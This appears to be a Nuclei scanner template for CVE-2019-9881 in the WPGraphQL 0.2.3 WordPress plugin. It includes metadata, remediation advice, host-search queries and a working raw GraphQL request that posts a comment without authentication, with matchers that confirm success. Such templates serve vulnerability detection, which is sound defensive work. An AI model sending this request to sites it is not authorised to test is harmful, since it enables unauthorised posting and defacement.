id: CVE-2019-9881 info: name: WPEngine WPGraphQL 0.2.3 - Unauthenticated Comment Posting author: intelligent-ears severity: medium description: | The createComment mutation in the WPGraphQL 0.2.3 plugin for WordPress allows unauthenticated users to post comments on any article, even when 'allow comment' is disabled. impact: | An attacker can exploit this vulnerability to post unauthorized comments on WordPress posts, potentially leading to content manipulation and defacement. remediation: | Update WPGraphQL to version 0.3.0 or later to fix this vulnerability. reference: - https://nvd.nist.gov/vuln/detail/CVE-2019-9881 - https://github.com/wp-graphql/wp-graphql/releases/tag/v0.3.0 - https://www.pentestpartners.com/security-blog/pwning-wordpress-graphql/ - https://wpvulndb.com/vulnerabilities/9282 classification: cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N cvss-score: 5.3 cve-id: CVE-2019-9881 cwe-id: CWE-306 epss-score: 0.32935 epss-percentile: 0.97014 cpe: cpe:2.3:a:wpengine:wpgraphql:0.2.3:*:*:*:*:wordpress:*:* metadata: verified: true max-request: 1 vendor: wpengine product: wpgraphql framework: wordpress shodan-query: http.title:"WordPress" "graphql" fofa-query: body="/wp-content/plugins/wp-graphql/" publicwww-query: "/wp-content/plugins/wp-graphql/" tags: cve,cve2019,wp,wp-plugin,wordpress,wp-graphql,wpengine,unauth,vkev,vuln variables: string: "{{randstr}}" client: "{{to_lower(rand_text_alpha(5))}}" http: - raw: - | POST /graphql HTTP/1.1 Host: {{Hostname}} Content-Type: application/json {"query": "mutation { createComment(input: { postId: 1, userId: 1, content: \"{{string}}\", clientMutationId: \"{{client}}\" }) { clientMutationId } }"} matchers: - type: dsl dsl: - status_code == 200 - contains(content_type, "application/json") - contains_all(body, 'createComment','clientMutationId','\{\"data\":','{{client}}') condition: and # digest: 4b0a00483046022100a01e153d02200f304b209c2f1612615db91cbebffc909c7ec6a656deb41d6b3002210092fd57ee94e5bd03c55f85cf32c65f0c7a599fb6524e251169631b481e448e43:922c64590222798bb761d5b6d8e72950